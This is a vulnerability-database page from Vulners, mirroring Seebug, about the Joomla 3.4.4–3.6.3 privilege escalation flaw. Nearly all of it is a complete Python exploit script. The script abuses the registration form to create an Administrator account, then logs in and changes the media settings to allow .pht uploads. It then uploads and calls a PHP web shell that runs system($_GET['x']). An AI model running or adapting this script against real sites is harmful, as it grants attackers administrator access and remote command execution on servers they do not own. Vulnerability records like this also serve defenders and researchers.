Lucene search
K

Joomla : 3.4.4 - 3.6.3 privilege elevation vulnerability

🗓️ 26 Oct 2016 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 91 Views

Joomla 3.4.4 - 3.6.3 privilege elevation vulnerability via user registratio

Related
Code

                                                # Getshell exp,使用方法请参考 https://github.com/XiphosResearch/exploits/tree/master/Joomraa
#!/usr/bin/python
from __future__ import print_function
import requests
import sys
import re
import argparse
import base64
import os
import random
import time
try:
	# Python 2.6-2.7 
	from HTMLParser import HTMLParser
except ImportError:
	# Python 3
	from html.parser import HTMLParser

"""
How to exploit:

  1) Run script, get user access
  2) [optional] - Activate your account
  3) Go to Content > Media
  4) Click 'Options'
  5.1) Add php3, php4, php5, pht to 'Legal Extensions' & Legal Image Extensions
  5.2) Disable 'Restrict Uploads' & 'Check MIME Types'
  6) Upload '.pht' file with:
      <?= system($_GET['x']);
  7) Pwned
"""

def randomname(extn='.pht'):
	return base64.b32encode(os.urandom(20))[:random.randint(5, 10)] + extn

def extract_token(resp):
	match = re.search(r'name="([a-f0-9]{32})" value="1"', resp.text, re.S)
	if match is None:
		print("[!] Cannot find CSRF token")
		return None
	return match.group(1)

def try_admin_login(options, sess):
	admin_url = options.url + '/administrator/index.php'
	print('[-] Getting token for admin login')
	resp = sess.get(admin_url)
	token = extract_token(resp)
	if not token:
		return False
	print('[-] Logging in to admin')
	data = {
		'username': options.username,
		'passwd': options.password,
		'task': 'login',
		token: '1'
	}
	resp = sess.post(admin_url, data=data)
	if 'task=profile.edit' not in resp.text:
		print('[!] Admin Login Failure!')
		return
	print('[+] Admin Login Success!')
	return True

def get_media_options(options, sess):
	print("[+] Getting media options")
	media_options_url = options.url + '/administrator/index.php?option=com_config&view=component&component=com_media&path='
	resp = sess.get(media_options_url)
	results = re.findall(r'name="([^"]+)"\s+[^>]*?value="([^"]+)"', resp.text, re.S)
	if not results:
		print("[!] Fail")
		return
	return dict(results)

def set_media_options(options, sess, data):
	"""
	Allow us to upload a .pht file
	"""
	print("[+] Setting media options")
	newdata = {
		'jform[upload_extensions]': 'bmp,csv,doc,gif,ico,jpg,jpeg,odg,odp,ods,odt,pdf,png,ppt,swf,txt,xcf,xls,BMP,CSV,DOC,GIF,ICO,JPG,JPEG,ODG,ODP,ODS,ODT,PDF,PNG,PPT,SWF,TXT,XCF,XLS',
		'jform[upload_maxsize]':10,
		'jform[file_path]':'images',
		'jform[image_path]':'images',
		'jform[restrict_uploads]':1,
		'jform[check_mime]':0,
		'jform[image_extensions]':'bmp,gif,jpg,png',
		'jform[ignore_extensions]': '',
		'jform[upload_mime]': 'image/jpeg,image/gif,image/png,image/bmp,application/x-shockwave-flash,application/msword,application/excel,application/pdf,application/powerpoint,text/plain,application/x-zip',
		'jform[upload_mime_illegal]':'text/html',
		'id':13
	}
	newdata.update(data)
	newdata['component'] = 'com_media'
	newdata['task'] = 'config.save.component.apply'
	config_url = options.url + '/administrator/index.php?option=com_config'
	resp = sess.post(config_url, data=newdata)
	if 'jform[upload_extensions]' not in resp.text:
		print('[!] Maybe failed to set media options...')
		return False
	return True

def add_item(data, field, item):
	return ",".join(set(data.get(field, '').split(',') + [item]))

def stage_two(options, sess):
	"""Now we are logged in to admin area,
	   use this to gain shell execution using .pht upload.
	   Ooh, scary super 0-day lol ^_^ *rolleyes*
	"""
	media_options = get_media_options(options, sess)
	if not media_options:
		return False
	old_options = media_options.copy()
	media_options.update({
		'jform[check_mime]': 0,
		'jform[restrict_uploads]': 0,
		'jform[upload_extensions]': add_item(media_options, 'jform[upload_extensions]', 'pht'),
		'jform[image_extensions]': add_item(media_options, 'jform[image_extensions]', 'pht'),
		'jform[upload_mime]': add_item(media_options, 'jform[upload_mime]', 'application/octet-stream'),
	})
	if not set_media_options(options, sess, media_options):		
		return False
	image_path = media_options.get('jform[image_path]', 'images')
	return upload_file(options, sess, image_path)

def upload_file(options, sess, image_path):
	print("[*] Uploading exploit.pht")
	url = options.url + "/administrator/index.php?option=com_media&folder="
	resp = sess.get(url)
	match = re.search(r'form action="([^"]+)" id="uploadForm"', resp.text, re.S)
	if not match:
		print("[!] Cannot find file upload form!")
		return False
	upload_url = HTMLParser().unescape(match.group(1))
	filename = randomname()
	exploit_url = "%s/%s/%s" % (options.url, image_path, filename)
	print("[*] Uploading exploit to:", exploit_url)
	files = {
		'Filedata[]': (filename, options.exploit, 'application/octet-stream')
	}
	data = dict(folder="")
	resp = sess.post(upload_url, files=files, data=data)
	if filename not in resp.content:
		print("[!] Failed to upload file!")
		return False
	print("[*] Calling exploit")
	resp = sess.get(exploit_url)
	if options.search not in resp.content:
		print("[!] Search string not in exploit")
		print(resp)
		return False
	print("[$] Exploit Successful!")
	return True

def create_user(options, sess, token):
	"""
	Create an Administrtaor user using the CVE
	"""
	data = {
		# User object
		'user[name]': options.username,
		'user[username]': options.username,
		'user[password1]': options.password,
		'user[password2]': options.password,
		'user[email1]': options.email,
		'user[email2]': options.email,
		'user[groups][]': '7',	# Yay, Administrator!
		# Sometimes these will be overridden
		'user[activation]': '0',
		'user[block]': '0',

		# Form data
		'form[name]': options.username,
		'form[username]': options.username,
		'form[password1]': options.password,
		'form[password2]': options.password,
		'form[email1]': options.email,
		'form[email2]': options.email,
		'form[option]': 'com_users',
		'form[task]': 'user.register',
		token: '1',
	}
	return sess.post(options.url + "/index.php/component/users/?task=user.register", data=data, allow_redirects=False)

def parse_options():
	try:
		exploit_file = open('filthyc0w.pht', 'r')
	except Excption:
		exploit_file = None
	parser = argparse.ArgumentParser(description='Jooma Exploit')
	parser.add_argument('url', help='Base URL for Joomla site')
	parser.add_argument('-u', '--username', default='hacker')
	parser.add_argument('-p', '--password', default='password')
	parser.add_argument('-e', '--email', default='[email protected]')
	parser.add_argument('-s', '--search', default='098f6bcd4621d373cade4e832627b4f6')
	parser.add_argument('-x', '--exploit', default=exploit_file, type=argparse.FileType('r'))
	return parser.parse_args()

def pwn_joomla(options):
	sess = requests.Session()
	print("[-] Getting token")
	resp = sess.get(options.url + "/index.php/component/users/?view=login")	
	token = extract_token(resp)
	if not token:
		return False
	print("[-] Creating user account")
	resp = create_user(options, sess, token)
	can_login = try_admin_login(options, sess)
	if not can_login:
		# TODO: periodically check if we can login as admin
		print("[-] Check email for activation code")
		try:
			resp = raw_input('[?] Press any key after activation')
		except KeyboardInterrupt:
			return False
		can_login = try_admin_login(options, sess)
		if not can_login:
			return False
	return stage_two(options, sess)

def print_logo():
	clear = "\x1b[0m"
	colors = [31, 32, 33, 34, 35, 36]

	logo = """                                                                                                                    
     @@@   @@@@@@    @@@@@@   @@@@@@@@@@   @@@@@@@    @@@@@@    @@@@@@   @@@  
     @@@  @@@@@@@@  @@@@@@@@  @@@@@@@@@@@  @@@@@@@@  @@@@@@@@  @@@@@@@@  @@@  
     @@!  @@!  @@@  @@!  @@@  @@! @@! @@!  @@!  @@@  @@!  @@@  @@!  @@@  @@!  
     !@!  !@!  @!@  !@!  @!@  !@! !@! !@!  !@!  @!@  !@!  @!@  !@!  @!@  !@   
     !!@  @!@  !@!  @!@  !@!  @!! !!@ @!@  @!@!!@!   @!@!@!@!  @!@!@!@!  @!@  
     !!!  !@!  !!!  !@!  !!!  !@!   ! !@!  !!@!@!    !!!@!!!!  !!!@!!!!  !!!  
     !!:  !!:  !!!  !!:  !!!  !!:     !!:  !!: :!!   !!:  !!!  !!:  !!!       
!!:  :!:  :!:  !:!  :!:  !:!  :!:     :!:  :!:  !:!  :!:  !:!  :!:  !:!  :!:  
::: : ::  ::::: ::  ::::: ::  :::     ::   ::   :::  ::   :::  ::   :::   ::  
 : :::     : :  :    : :  :    :      :     :   : :   :   : :   :   : :  :::  
"""
	for line in logo.split("\n"):
		sys.stdout.write("\x1b[1;%dm%s%s\n" % (random.choice(colors), line, clear))
		time.sleep(0.05)

def main(base_url):	
	options = parse_options()
	print_logo()
	if pwn_joomla(options):
		print("[$] SUCCESS:", options.url)
	else:
		print("[*] FAILURE")

if __name__ == "__main__":
	sys.exit(main("http://192.168.10.100:8080/joomla"))
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

26 Oct 2016 00:00Current
8.8High risk
Vulners AI Score8.8
EPSS0.97426
91